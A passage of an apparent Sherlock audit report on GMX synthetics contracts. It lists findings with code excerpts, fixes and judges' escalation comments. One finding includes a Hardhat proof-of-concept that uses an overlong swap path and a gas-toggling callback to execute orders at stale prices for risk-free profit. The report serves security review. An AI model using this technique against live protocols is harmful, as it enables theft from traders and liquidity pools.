params.orderType == Order.OrderType.StopLossDecrease
) {
initialCollateralDeltaAmount = params.numbers.initialCollateralDeltaAmount;
} else {
revert OrderTypeCannotBeCreated(params.orderType);
}
if (shouldRecordSeparateExecutionFeeTransfer) {
uint256 wntAmount = orderVault.recordTransferIn(wnt);
if (wntAmount < params.numbers.executionFee) {
revert InsufficientWntAmountForExecutionFee(wntAmount, params.numbers.executionFee);
}
GasUtils.handleExcessExecutionFee(
dataStore,
orderVault,
wntAmount,
params.numbers.executionFee
);
}
// validate swap path markets
MarketUtils.getEnabledMarkets(
dataStore,
params.addresses.swapPath
);
Order.Props memory order;
order.setAccount(account);
order.setReceiver(params.addresses.receiver);
order.setCallbackContract(params.addresses.callbackContract);
order.setMarket(params.addresses.market);
order.setInitialCollateralToken(params.addresses.initialCollateralToken);
order.setSwapPath(params.addresses.swapPath);
order.setOrderType(params.orderType);
order.setDecreasePositionSwapType(params.decreasePositionSwapType);
order.setSizeDeltaUsd(params.numbers.sizeDeltaUsd);
order.setInitialCollateralDeltaAmount(initialCollateralDeltaAmount);
order.setTriggerPrice(params.numbers.triggerPrice);
order.setAcceptablePrice(params.numbers.acceptablePrice);
order.setExecutionFee(params.numbers.executionFee);
order.setCallbackGasLimit(params.numbers.callbackGasLimit);
order.setMinOutputAmount(params.numbers.minOutputAmount);
order.setIsLong(params.isLong);
order.setShouldUnwrapNativeToken(params.shouldUnwrapNativeToken);
ReceiverUtils.validateReceiver(order.receiver());
if (order.initialCollateralDeltaAmount() == 0 && order.sizeDeltaUsd() == 0) {
revert BaseOrderUtils.EmptyOrder();
}
CallbackUtils.validateCallbackGasLimit(dataStore, order.callbackGasLimit());
uint256 estimatedGasLimit = GasUtils.estimateExecuteOrderGasLimit(dataStore, order);
GasUtils.validateExecutionFee(dataStore, estimatedGasLimit, order.executionFee());
bytes32 key = NonceUtils.getNextKey(dataStore);
order.touch();
OrderStoreUtils.set(dataStore, key, order);
OrderEventUtils.emitOrderCreated(eventEmitter, key, order);
return key;
}
Specifically, on a marketIncrease OrderType. Executing an order type of marketIncrease opens an attack path where you can execute transactions with stale prices.
The way to achieve this, is by creating a market increase order and passing a very extensive swapPath in params:
BaseOrderUtils.CreateOrderParams memory params
struct CreateOrderParams {
CreateOrderParamsAddresses addresses;
CreateOrderParamsNumbers numbers;
Order.OrderType orderType;
Order.DecreasePositionSwapType decreasePositionSwapType;
bool isLong;
bool shouldUnwrapNativeToken;
bytes32 referralCode;
}
struct CreateOrderParamsAddresses {
address receiver;
address callbackContract;
address market;
address initialCollateralToken;
address[] swapPath; //HEREE <--------------------------------------------------------
}
The swap path has to be as long as it gets close to the gasLimit of the block.
After calling marketIncrease close to gasLimit then using the callback contract that you passed as a param in:
an exceeding the block.gasLimit in the callback.
After "x" amount of blocks, change the gasUsage on the fallback, just that the transaction executes at the prior price.
PoC on how to execute the transaction with old pricing:
import { expect } from "chai";
import { mine } from "@nomicfoundation/hardhat-network-helpers";
import { OrderType, getOrderCount, getOrderKeys, createOrder, executeOrder, handleOrder } from "../utils/order";
import { expandDecimals, decimalToFloat } from "../utils/math";
import { deployFixture } from "../utils/fixture";
import { handleDeposit } from "../utils/deposit";
import { getPositionCount, getAccountPositionCount } from "../utils/position";
describe("Execute transaction with all prices", () => {
let fixture,
user0,
user1,
user2,
reader,
dataStore,
ethUsdMarket,
ethUsdSpotOnlyMarket,
wnt,
usdc,
attackContract,
oracle,
depositVault,
exchangeRouter,
swapHandler,
executionFee;
beforeEach(async () => {
fixture = await deployFixture();
({ user0, user1, user2 } = fixture.accounts);
({
reader,
dataStore,
oracle,
depositVault,
ethUsdMarket,
ethUsdSpotOnlyMarket,
wnt,
usdc,
attackContract,
exchangeRouter,
swapHandler,
} = fixture.contracts);
({ executionFee } = fixture.props);
await handleDeposit(fixture, {
create: {
market: ethUsdMarket,
longTokenAmount: expandDecimals(10000000, 18),
shortTokenAmount: expandDecimals(10000000 * 5000, 6),
},
});
await handleDeposit(fixture, {
create: {
market: ethUsdSpotOnlyMarket,
longTokenAmount: expandDecimals(10000000, 18),
shortTokenAmount: expandDecimals(10000000 * 5000, 6),
},
});
});
it("Old price order execution", async () => {
const path = [];
const UsdcBal = expandDecimals(50 * 1000, 6);
expect(await getOrderCount(dataStore)).eq(0);
for (let i = 0; i < 63; i++) {
if (i % 2 == 0) path.push(ethUsdMarket.marketToken);
else path.push(ethUsdSpotOnlyMarket.marketToken);
}
const params = {
account: attackContract,
callbackContract: attackContract,
callbackGasLimit: 1900000,
market: ethUsdMarket,
minOutputAmount: 0,
initialCollateralToken: usdc, // Collateral will get swapped to ETH by the swapPath -- 50k/$5k = 10 ETH Collateral
initialCollateralDeltaAmount: UsdcBal,
swapPath: path,
sizeDeltaUsd: decimalToFloat(200 * 1000), // 4x leverage -- position size is 40 ETH
acceptablePrice: expandDecimals(5001, 12),
orderType: OrderType.MarketIncrease,
isLong: true,
shouldUnwrapNativeToken: false,
gasUsageLabel: "createOrder",
};
// Create a MarketIncrease order that will run out of gas doing callback
await createOrder(fixture, params);
expect(await getOrderCount(dataStore)).eq(1);
expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(0);
expect(await getPositionCount(dataStore)).eq(0);
expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(0);
await expect(executeOrder(fixture)).to.be.reverted;
await mine(50);
await attackContract.flipSwitch();
expect(await getOrderCount(dataStore)).eq(1);
await executeOrder(fixture, {
minPrices: [expandDecimals(5000, 4), expandDecimals(1, 6)],
maxPrices: [expandDecimals(5000, 4), expandDecimals(1, 6)],
});
expect(await getOrderCount(dataStore)).eq(0);
expect(await getAccountPositionCount(dataStore, attackContract.address)).eq(1);
expect(await getPositionCount(dataStore)).eq(1);
await handleOrder(fixture, {
create: {
account: attackContract,
market: ethUsdMarket,
initialCollateralToken: wnt,
initialCollateralDeltaAmount: 0,
sizeDeltaUsd: decimalToFloat(200 * 1000),
acceptablePrice: 6001,
orderType: OrderType.MarketDecrease,
isLong: true,
gasUsageLabel: "orderHandler.createOrder",
swapPath: [ethUsdMarket.marketToken],
},
execute: {
minPrices: [expandDecimals(6000, 4), expandDecimals(1, 6)],
maxPrices: [expandDecimals(6000, 4), expandDecimals(1, 6)],
gasUsageLabel: "orderHandler.executeOrder",
},
});
const WNTAfter = await wnt.balanceOf(attackContract.address);
const UsdcAfter = await usdc.balanceOf(attackContract.address);
expect(UsdcAfter).to.gt(
expandDecimals(100 * 1000, 6)
.mul(999)
.div(1000)
);
expect(UsdcAfter).to.lt(
expandDecimals(100 * 1000, 6)
.mul(1001)
.div(1000)
);
expect(WNTAfter).to.eq(0);
}).timeout(100000);
The attack would allow to make free trades in terms of risk. You can trade without any risk by conttroling when to execute the transaction
Manual Review
There need to be a way to cap the length of the path to control user input:
uint y = 10; require(swapPath.length < y ,"path too long");
hack3r-0m
Escalate for 10 USDC
this should be medium because owner set conservative limit via ESTIMATED_GAS_FEE_MULTIPLIER_FACTOR and completly prevent this.
sherlock-admin
Escalate for 10 USDC
this should be medium because owner set conservative limit via
ESTIMATED_GAS_FEE_MULTIPLIER_FACTORand completly prevent this.
You've created a valid escalation for 10 USDC!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
This issue is about being able to use the block.gaslimit, not anything having to do with the keeper gas estimation
hrishibhat
Escalation rejected
This is a valid issue
sherlock-admin
Escalation rejected
This is a valid issue
This issue's escalations have been rejected!
Watsons who escalated this issue will have their escalation amount deducted from their next payout.
xvi10
Source: sherlock-audit#216
simon135
if block range is a big range and since adl order uses cache.minOracleBlockNumbers[0] there can be an issue of the block not being in range because of the littlest block with max block being a lot bigger and adl wont happen and the protocol will get bad debt
since the adl order updateBlock is cache.minOracleBlockNumbers[0] the block can be behind the range check and fail and the protocol can end up in bad debt with the tokens price declining
bad debt
cache.key = AdlUtils.createAdlOrder(
AdlUtils.CreateAdlOrderParams(
dataStore,
eventEmitter,
account,
market,
collateralToken,
isLong,
sizeDeltaUsd,
cache.minOracleBlockNumbers[0]
)
Manual Review
make it chain.currentBLock
xvi10
doesn't seem to be a valid issue, cache.minOracleBlockNumbers[0] is from oracleParams which is provided by the ADL keeper, the ADL keeper should use the latest prices to execute ADL
IllIllI000
@xvi10 I know that the order keepers are intended to eventually be only semi-trusted. Is that not the case for ADL keepers - they'll always be fully trusted?
xvi10
i think the impact is minimized if there is at least one honest ADL keeper, if all ADL keepers are dishonest it is possible for ADLs to continually occur using older prices
IllIllI000
It sounds like ADL keepers are not fully trusted and therefore this is an unlikely, but possible risk
Source: sherlock-audit#212
handsomegiraffe
During execution of Deposits, Withdrawals and Orders, users are refunded part of the executionFee after accounting for gasUsed during the transaction. In the codebase, an incorrect value of startingGas is used to calculate the gasUsed, resulting in users getting less than what they should be refunded.
Vulnerability exists in DepositHandler.sol, WithdrawalHandler.sol and OrderHandler.sol. Using DepositHandler.sol as an example:
((1) In line 94 of DepositHandler.sol, Order Keepers call executeDeposit() and startingGas is forwarded to an external call _executeDeposit.
(2) In ExecuteDepositUtils.sol, _executeDeposit further calls GasUtils.payExecutionFee(... params.startingGas.
(3) Then in GasUtils.sol, payExecutionFee() calculates gasUsed = startingGas - gasleft();
(4) gasUsed is used to calculate executionFeeForKeeper, and after paying the fee to keeper, the remainder of executionFee (previously paid by user) is refunded to the user
The issue lies with (1) where startingGas is passed into _executeDeposit and assumed to be all remaining gas left. EIP-150 defines the "all but one 64th" rule, which states that always at least 1/64 of the gas still not used for this transaction cannot be sent along. Therefore, in (3) gasUsed is overstated by 1/64 and the refund back to user in (4) is incorrect (less than what user should get back).
Proof of Concept
In the test above, it is demonstrated that external function calls are forwarded with only 63/64 of the remaining gas. A separate internal function call used to demonstrate the difference in gas costs.
GMX Users will receive an incorrect refund from the execution fee and will be overpaying for deposit, withdraw and order executions.
https://github.com/gmx-io/gmx-synthetics/blob/b1557fa286c35f54c65a38a7b57baf87ecad1b5b/contracts/exchange/DepositHandler.sol#L100 https://github.com/gmx-io/gmx-synthetics/blob/b1557fa286c35f54c65a38a7b57baf87ecad1b5b/contracts/exchange/WithdrawalHandler.sol#L130 https://github.com/gmx-io/gmx-synthetics/blob/b1557fa286c35f54c65a38a7b57baf87ecad1b5b/contracts/exchange/OrderHandler.sol#L174
Hardhat Manual Review
In DepositHandler.sol, for executeDeposit it is recommended that startingGas() is calculated after the external call is made.
Alternatively, in GasUtils.sol, gasUsed could be computed with 63/64 of startingGas, in order to obtain the correct refund amount to the user. This would also apply to Withdraw and Order executions which have similar code flows.
xvi10
this is a valid concern but we do not think this requires a change in the contracts, startingGas is measured after withOraclePrices, so there will be some extra gas consumed for that call, additionally the keeper should be incentivised with a small fee to execute the requests, the value for Keys.EXECUTION_GAS_FEE_BASE_AMOUNT can be adjusted to account for these
Jiaren-tang
Escalate for 10 USDC. I do not recommend escalating this issue for a reward of 10 USDC, as the impact is too trivial. According to the protocol's comments, not forwarding 1/64th of the gas to compensate for the execution fee does not block order flow execution, and Keys.EXECUTION_GAS_FEE_BASE_AMOUNT can be configured to easily solve this issue.
Furthermore, based on Sherlock's severity guide:
https://docs.sherlock.xyz/audits/judging/judging
a Medium severity rating should only be given if there is a viable scenario (even if unlikely) that could cause the protocol to enter a state where a material amount of funds can be lost. The attack path is possible with assumptions that either mimic on-chain conditions or reflect conditions that have a reasonable chance of becoming true in the future. The more expensive the attack is for an attacker, the less likely it will be included as a Medium (holding all other factors constant). The vulnerability must be something that is not considered an acceptable risk by a reasonable protocol team.
Based on the protocol's comment, this issue is clearly considered an acceptable risk by a reasonable protocol team. Therefore, I do not believe it meets the criteria for a Medium severity rating. @xvi10 @IllIllI000
sherlock-admin
Escalate for 10 USDC. I do not recommend escalating this issue for a reward of 10 USDC, as the impact is too trivial. According to the protocol's comments, not forwarding 1/64th of the gas to compensate for the execution fee does not block order flow execution, and Keys.EXECUTION_GAS_FEE_BASE_AMOUNT can be configured to easily solve this issue.
Furthermore, based on Sherlock's severity guide:
https://docs.sherlock.xyz/audits/judging/judging
a Medium severity rating should only be given if there is a viable scenario (even if unlikely) that could cause the protocol to enter a state where a material amount of funds can be lost. The attack path is possible with assumptions that either mimic on-chain conditions or reflect conditions that have a reasonable chance of becoming true in the future. The more expensive the attack is for an attacker, the less likely it will be included as a Medium (holding all other factors constant). The vulnerability must be something that is not considered an acceptable risk by a reasonable protocol team.
Based on the protocol's comment, this issue is clearly considered an acceptable risk by a reasonable protocol team. Therefore, I do not believe it meets the criteria for a Medium severity rating. @xvi10 @IllIllI000
You've created a valid escalation for 10 USDC!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
chewonithard
Escalate for 10 USDC. I opine that the issue is valid and should be retained for award.
- The protocol has acknowledged this as a valid issue.
- While no code change is needed, the protocol said they can adjust Keys.EXECUTION_GAS_FEE_BASE_AMOUNT to account for this -- indicating there was an issue in the first place which needs to be fixed
- Keeper is already incentivsed through a defined fee see link, therefore this additional gas that the user has to pay for is unintended and should be remedied. Given the popularity of the protocol, the aggregate amount of gas users will be overpaying for is significant
sherlock-admin
Escalate for 10 USDC. I opine that the issue is valid and should be retained for award.
- The protocol has acknowledged this as a valid issue.
- While no code change is needed, the protocol said they can adjust Keys.EXECUTION_GAS_FEE_BASE_AMOUNT to account for this -- indicating there was an issue in the first place which needs to be fixed
- Keeper is already incentivsed through a defined fee see link, therefore this additional gas that the user has to pay for is unintended and should be remedied. Given the popularity of the protocol, the aggregate amount of gas users will be overpaying for is significant
You've created a valid escalation for 10 USDC!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
IllIllI000
I agree with the second escalation for its stated reasons. In addition, if the swap path is long enough, the base fee may not be large enough to cover the number of swaps
hrishibhat
Escalation accepted
Considering this issue as valid based on Sponsor, 2nd Escalation and Lead Watson comments.
sherlock-admin
Escalation accepted
Considering this issue as valid based on Sponsor, 2nd Escalation and Lead Watson comments.
This issue's escalations have been accepted!
Contestants' payouts and scores will be updated according to the changes made on this issue.
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/119
Source: sherlock-audit#182
IllIllI
The same precision may not work for the min and max prices
If the min price reaches the maximum value possible for the specified level of precision, the max price won't be able to use the same precision.
Depending on how the order keepers and oracle archive work, either the fetching the price from the oracle will fail, or the user will get less than they deserve. This may happen when a user is at the border of being liquidated, and it would be unfair to liquidate the user.
The same precision is required to be used for both the min and max prices:
// File: gmx-synthetics/contracts/oracle/OracleUtils.sol : OracleUtils.validateSigner() #1
254 ) internal pure {
255 bytes32 digest = ECDSA.toEthSignedMessageHash(
256 keccak256(abi.encode(
257 SALT,
258 info.minOracleBlockNumber,
259 info.maxOracleBlockNumber,
260 info.oracleTimestamp,
261 info.blockHash,
262 info.token,
263 info.tokenOracleType,
264 @> info.precision,
265 @> info.minPrice,
266 @> info.maxPrice
267 ))
268 );
269
270: address recoveredSigner = ECDSA.recover(digest, signature);The example from the source comments show that legitimate values feasibly can occur on precision boundaries.
Manual Review
Provide separate precision values for min and max prices
xvi10
Will reference the ETH example, as the numbers are a bit simpler to reason with
The price of ETH is 5000, and ETH has 18 decimals. Price would be stored as 5000 / (10 ^ 18) * (10 ^ 30) => 5000 * (10 ^ 12) If the decimal multiplier value is set to 8, the uint32 value would be 5000 * (10 ^ 12) / (10 ^ 8) => 5000 * (10 ^ 4)
With this config, ETH prices can have a maximum value of (2 ^ 32) / (10 ^ 4) => 4,294,967,296 / (10 ^ 4) => 429,496.7296 with 4 decimals of precision.
If the price of ETH changes to be above 429,496.7296, e.g. 450,000
The decimal multiplier value can be set to 9, the uint32 value would be 450,000 * (10 ^ 12) / (10 ^ 9) => 450,000 * (10 ^ 3)
With this config, ETH prices can have a maximum value of (2 ^ 32) / (10 ^ 3) => 4,294,967,296 / (10 ^ 3) => 4,294,967.296 with 3 decimals of precision.
The mentioned case of requiring different decimals could occur if the min price of ETH is 5000 and the max price of ETH is 450,000, in case that occurs the decimal multiplier value can be set to 9 which may lead to a small amount of precision loss but we feel it is an acceptable outcome.
In case the precision difference required is too large, e.g. 2 decimals or more, we think the oracles should stop signing prices for this case, there could be a need for manual intervention to settle the market as there may be an issue with the price sources in case that occurs.
IllIllI000
@xvi10 can you elaborate on why this is disputed rather than no-fix? The last sentence seems to indicate a problem that needs to be worked around
xvi10
agree that confirmed and no-fix would be a more accurate label
Issue M-4: Liquidation shouldn't be used to close positions that were fully-collateralized prior to collateral requirement changes
Source: sherlock-audit#179
IllIllI
There are various factors associated with minimum collateral requirements, and if a position falls below them, the position is liquidated.
If the position was over-collateralized and in profit prior to the change in the minimums, and the minimum is increased, the position is liquidated.
Liquidation gives all funds to the pool, giving nothing back to the user
A position becomes liquidatable once it falls below the changeable collateral requirements:
// File: gmx-synthetics/contracts/position/PositionUtils.sol : PositionUtils.isPositionLiquidatable() #1
377 if (shouldValidateMinCollateralUsd) {
378 @> cache.minCollateralUsd = dataStore.getUint(Keys.MIN_COLLATERAL_USD).toInt256();
379 if (cache.remainingCollateralUsd < cache.minCollateralUsd) {
380 return true;
381 }
382 }
383
384 if (cache.remainingCollateralUsd <= 0) {
385 return true;
386 }
387
388: // validate if (remaining collateral) / position.size is less than the min collateral factor (max leverage exceeded)Liquidations give everything to the pool, and nothing to the position's account
Manual Review
Close the position with a market order, rather than liquidating it, if the user was previously above the minimum with the old factor
xvi10
the min collateral requirements should not be changed unless it is an emergency requirement
this setting should eventually be removed from the Config contract
IllIllI000
@xvi10, while it may be for emergency use, if it does end up being used, isn’t the current behavior incorrect? Should this be a no-fix?
xvi10
yes, updated to confirmed
Source: sherlock-audit#177
IllIllI
In most cases where orders are submitted using invalid oracle prices, the check for isEmptyPriceError() returns true, and the order execution is allowed to revert, rather than canceling the order.
Negative Chainlink oracle prices (think negative interest rates in Europe) result in a plain revert(<string>), which isn't counted as one of these errors, and so if the price becomes negative, any outstanding order will be canceled, even if the order was submitted prior to the price going negative.
Orders to close positions will be canceled, leading to losses.
Chainlink prices are converted to positive numbers:
// File: gmx-synthetics/contracts/oracle/Oracle.sol : Oracle._setPricesFromPriceFeeds() #1
577 ) = priceFeed.latestRoundData();
578
579:@> uint256 price = SafeCast.toUint256(_price);And if they're negative, the code reverts:
// File: gmx-synthetics/node_modules/@openzeppelin/contracts/utils/math/SafeCast.sol : SafeCast.toUint256() #2
558 function toUint256(int256 value) internal pure returns (uint256) {
559 require(value >= 0, "SafeCast: value must be positive");
560 return uint256(value);
561: }Orders that revert get frozen or canceled
Manual Review
Create a new error type, and include it in the list of OracleUtils.isEmptyPriceError() errors
hack3r-0m
Escalate for 10 USDC
This finding should be invalid, in "Impact" section, author mentions:
Orders to close positions will be canceled, leading to losses.
If price is negative, cancelling of order should be desired outcome.
author mentions:
Negative Chainlink oracle prices (think negative interest rates in Europe)
this is not 1:1 comparison, here sign of interest rate is compared with sign of asset and both are completly different things
sherlock-admin
Escalate for 10 USDC
This finding should be invalid, in "Impact" section, author mentions:
Orders to close positions will be canceled, leading to losses.
If price is negative, cancelling of order should be desired outcome.
author mentions:
Negative Chainlink oracle prices (think negative interest rates in Europe)
this is not 1:1 comparison, here sign of interest rate is compared with sign of asset and both are completly different things
You've created a valid escalation for 10 USDC!
To remove the escalation from consideration: Delete your comment.
You may delete or edit your escalation comment anytime before the 48-hour escalation window closes. After that, the escalation becomes final.
sherlock-admin
Escalate for 10 USDC
This finding should be invalid, because keepers are trusted entity as mentioned in
REAMDEand signature of keeper on longest chain cannot be used on forks because of check that only keeper can update price.
You've deleted an escalation for this issue.
IllIllI000
Asset prices can in fact go negative due to carying costs, and the sponsor confirmed the issue
hrishibhat
Escalation rejected
Although unlikely the possibility of this must be addressed instead of canceling it.
sherlock-admin
Escalation rejected
Although unlikely the possibility of this must be addressed instead of canceling it.
This issue's escalations have been rejected!
Watsons who escalated this issue will have their escalation amount deducted from their next payout.
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/113
Source: sherlock-audit#176
IllIllI, ShadowForce, rvierdiiev
GMX uses two oracle types - an off-chain oracle archive network for historical prices of tokens whose value fluctuates a lot, and a set of price feed oracles for tokens that don't change value much. The oracle archive network allows people to submit orders at time T, and have them executed at time T+N, while still getting filled at prices at time T.
The majority of markets use prices from both types of oracles, and if one of the price feed oracle's tokens de-peg, (e.g. UST, or the recent USDC depeg), users whose orders are delayed by keepers will get executed at different prices than they deserve.
Delayed prices during a depeg event means they get more/less PnL than they deserve/liquidations, at the expense of traders or the liquidity pool
Prices for the order will use the current value, rather than the value at the time the order was submitted:
// File: gmx-synthetics/contracts/oracle/Oracle.sol : Oracle._setPricesFromPriceFeeds() #1
571 (
572 /* uint80 roundID */,
573 @> int256 _price,
574 /* uint256 startedAt */,
575 /* uint256 timestamp */,
576 /* uint80 answeredInRound */
577 ) = priceFeed.latestRoundData();
...
588 uint256 stablePrice = getStablePrice(dataStore, token);
589
590 Price.Props memory priceProps;
591
592 if (stablePrice > 0) {
593 priceProps = Price.Props(
594 price < stablePrice ? price : stablePrice,
595 price < stablePrice ? stablePrice : price
596 );
597 } else {
598 @> priceProps = Price.Props(
599 price,
600 price
601 );
602 }
603
604:@> primaryPrices[token] = priceProps;Presumably, there won't be archive oracle prices for tokens that have these price feeds, since that would allow the keeper to decide to use whichever price is more favorable to them, so once there's a de-peg, any outstanding orders will be affected.
Manual Review
Don't use Chainlink oracle for anything, and instead rely on the archive oracles for everything
xvi10
This is a valid issue, but we have decided to leave the option to use Chainlink prices in the contracts in case those price feeds are needed
Source: sherlock-audit#175
IllIllI
In most cases where orders are submitted using invalid oracle prices, the check for isEmptyPriceError() returns true, and the order execution is allowed to revert, rather than canceling the order.
EmptyFeedPrice isn't counted as one of these errors, and so if the price reaches zero, any outstanding order will be canceled.
Orders to close positions will be canceled, leading to losses.
Only isEmptyPriceError() errors are allowed to revert:
// File: gmx-synthetics/contracts/exchange/OrderHandler.sol : OrderHandler._handleOrderError() #1
226 if (
227 @> OracleUtils.isEmptyPriceError(errorSelector) ||
228 errorSelector == InvalidKeeperForFrozenOrder.selector
229 ) {
230 ErrorUtils.revertWithCustomError(reasonBytes);
231 }
232
233 Order.Props memory order = OrderStoreUtils.get(dataStore, key);
234 bool isMarketOrder = BaseOrderUtils.isMarketOrder(order.orderType());
235
236 if (isMarketOrder) {
237: OrderUtils.cancelOrder(Other orders get frozen or canceled
Manual Review
Include EmptyFeedPrice in the list of OracleUtils.isEmptyPriceError() errors
xvi10
Source: sherlock-audit#174
Breeje, IllIllI, PRAISE, ShadowForce, rvierdiiev
Most prices are provided by an off-chain oracle archive via signed prices, but a Chainlink oracle is still used for index prices. These prices are insufficiently validated.
There is no freshness check on the timestamp of the prices, so old prices may be used if OCR was unable to push an update in time
Old prices mean traders will get wrong PnL values for their positions, leading to liquidations or getting more/less than they should, at the expense of other traders and the liquidity pools.
The timestamp field is ignored, which means there's no way to check whether the price is recent enough:
// File: gmx-synthetics/contracts/oracle/Oracle.sol : Oracle._setPricesFromPriceFeeds() #1
571 (
572 /* uint80 roundID */,
573 int256 _price,
574 /* uint256 startedAt */,
575 @> /* uint256 timestamp */,
576 /* uint80 answeredInRound */
577: ) = priceFeed.latestRoundData();Manual Review
Add a staleness threshold number of seconds configuration parameter, and ensure that the price fetched is within that time range
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/113
Source: sherlock-audit#173
IllIllI, ShadowForce, simon135
Users are required to specify execution fee at order creation. This fee is to reimburse the keeper for executing their order, and is based on a formula that includes the tx.price of the keeper when it executes the order.
If the user submits an order to exit the position, and specifies a very generous execution fee, there may be an outage in the keeper or oracle network that delays the execution of the order. When the outage is resolved, the transaction gas fees may spike because of all of the queued orders that were waiting for the network to come back (similar to a long-on storm), and or due to other protocols trying to service their own liquidations.
In such a scenario, the user's oracle price is protected for a certain amount of time, but after that window passes, the order won't be executable. The issue is that there is no way for the user to update the execution fee so that it still gets executed during the gas spike, without altering their execution price.
It's entirely possible that the provided execution fee would generally be described as excessive, at the time of order creation, but due to the outage it became insufficient. During the time window where the order isn't executed, the user's position may change from a profit, to a loss, or even become liquidated.
Updating the execution fee always touches the order, which changes the update timestamp, which is used to decide which oracle prices are valid:
// File: gmx-synthetics/contracts/exchange/OrderHandler.sol : OrderHandler. #1
88 // allow topping up of executionFee as partially filled or frozen orders
89 // will have their executionFee reduced
90 address wnt = TokenUtils.wnt(dataStore);
91 uint256 receivedWnt = orderVault.recordTransferIn(wnt);
92 @> order.setExecutionFee(order.executionFee() + receivedWnt);
93
94 uint256 estimatedGasLimit = GasUtils.estimateExecuteOrderGasLimit(dataStore, order);
95 GasUtils.validateExecutionFee(dataStore, estimatedGasLimit, order.executionFee());
96
97 @> order.touch();
98 OrderStoreUtils.set(dataStore, key, order);
99
100 OrderEventUtils.emitOrderUpdated(eventEmitter, key, sizeDeltaUsd, triggerPrice, acceptablePrice);
101: }Manual Review
Allow the user to update the execution fee without changing the order timestamp if the tx.gasprice of the update transaction is above some threshold/execution fee factor
xvi10
this is a valid concern but we do not think the contracts should be changed to add this feature, instead keepers may be reimbursed through a keeper fund or the protocol may run keepers that are willing to execute the transactions even if the execution fee will not be fully reimbursed
Source: sherlock-audit#170
IllIllI
Since funding fees may be small when there isn't much price movement, the code has a feature to keep track of partial amounts when the chargeable fee rounds down to zero. This isn't enough when the fee is 1.X times the minimum value.
If the funding fee is 0.9, the code correctly stores it until the fee is greater than one. If the funding fee is 1.9, the code ignores the 0.9 part. If 0.9 was enough of a fee to track in the first case, it should also be large enough for the second case.
Funding fees are not fully paid when they should be, which may cause liquidations down the line, or less profit than there should be.
The code accounts for the special case of the amount rounding down to zero when the factor is applied, but doesn't account for fractional amounts when the amount is greater than one:
// File: gmx-synthetics/contracts/market/MarketUtils.sol : MarketUtils.getFundingFeeAmount() #1
1237 function getFundingFeeAmount(
1238 int256 latestFundingAmountPerSize,
1239 int256 positionFundingAmountPerSize,
1240 uint256 positionSizeInUsd
1241 ) internal pure returns (bool, int256) {
1242 int256 fundingDiffFactor = (latestFundingAmountPerSize - positionFundingAmountPerSize);
1243 int256 amount = Precision.applyFactor(positionSizeInUsd, fundingDiffFactor);
1244
1245 @> return (fundingDiffFactor != 0 && amount == 0, amount);
1246: }Manual Review
Track fractional amounts even when the amount is not equal to zero
xvi10
Fix in https://github.com/gmx-io/gmx-synthetics/pull/115
Source: sherlock-audit#168
IllIllI
Positions can still be liquidated even if orders to close positions or add collateral can't execute, because liquidation does not transfer tokens
Liquidation orders do not transfer tokens - they just use the increment*()/applyDelta*() functions to update the portions allotted to the various parties. Orders to close positions, on the other hand, actually transfer the tokens so if the transfer reverts, the position can't be closed. If the collateral token is paused (e.g. USDC), a user won't be able to close their position, or add collateral to it, in order to prevent it from being liquidated, but the liquidation keeper will be able to liquidate without any issue.
Users will be liquidated without being able to prevent it
Liquidation doesn't actually transfer any funds - it just updates who got what:
// File: gmx-synthetics/contracts/position/DecreasePositionCollateralUtils.sol : DecreasePositionCollateralUtils.getLiquidationValues() #1
346 } else {
347 @> values.pnlAmountForPool = (params.position.collateralAmount() - fees.funding.fundingFeeAmount).toInt256();
348 }
349
350 PositionPricingUtils.PositionFees memory _fees;
351
352 PositionUtils.DecreasePositionCollateralValues memory _values = PositionUtils.DecreasePositionCollateralValues(
353 values.pnlTokenForPool,
354 @> values.executionPrice, // executionPrice
355 0, // remainingCollateralAmount
356 values.positionPnlUsd, // positionPnlUsd
357 values.pnlAmountForPool, // pnlAmountForPool
358 0, // pnlAmountForUser
359 values.sizeDeltaInTokens, // sizeDeltaInTokens
360 values.priceImpactAmount, // priceImpactAmount
361 0, // priceImpactDiffUsd
362 0, // priceImpactDiffAmount
363 PositionUtils.DecreasePositionCollateralValuesOutput(
364: address(0),And then increments/applies delta to the accounting.
Manual Review
Keep user collateral at a separate address from the pool address, so that liquidations have to do an actual transfer which may revert, rather than just updating internal accounting
xvi10
This should be a very rare case, we believe that it may not make sense to force doing a transfer to handle this case, liquidations should instead be manually disabled if this were to happen, it may also be possible to do this automatically with a contract function that anyone can invoke and if transfers are verified to not be working then the contract has access to disable liquidations for that market, for the current scope this feature will not be added
Source: sherlock-audit#167
IllIllI
When underlying collateral tokens are paused (e.g. USDC), orders can't be canceled, and will be executed immediately after unpause
Part of canceling an order is the sending back of the tokens provided. If the token is paused, the sending back will revert, preventing the cancellation.
If the order was a market increase order, the user gets a free look into future prices, and can decide after the token unpauses, whether to cancel the order or not, at the expense of the other side of the trade.
For market orders, if the order reverts (e.g. due to the token being paused), the error handler attempts to cancel the order so that the user doesn't get to keep the block number (and therefore the price) that they submitted at:
// File: gmx-synthetics/contracts/exchange/OrderHandler.sol : OrderHandler._handleOrderError() #1
233 Order.Props memory order = OrderStoreUtils.get(dataStore, key);
234 bool isMarketOrder = BaseOrderUtils.isMarketOrder(order.orderType());
235
236 if (isMarketOrder) {
237 @> OrderUtils.cancelOrder(
238 dataStore,
239 eventEmitter,
240 orderVault,
241 key,
242 msg.sender,
243 startingGas,
244 reason,
245 reasonBytes
246 );
247: } else {For market increase or swap orders, canceling the order sends back the collateral in the same transaction as the cancel.
An attacker can write a bot that front-runs token pauses, and submits very large increase orders. By the time the keeper gets to execute the order, the token will be paused, and when it tries to cancel, the cancel will revert. The attacker can watch the price movement during the pause, and if the potential position has a gain, let the keeper execute the order when the token gets unpaused. If the potential position has a loss, the bot can back-run the pause with a cancel, and prevent the keeper from opening the original position.
Manual Review
Do not send the collateral back during the cancel - have another separate 'claim' function for it
xvi10
This should be a very rare case, for the current scope this feature will not be added
Source: sherlock-audit#165
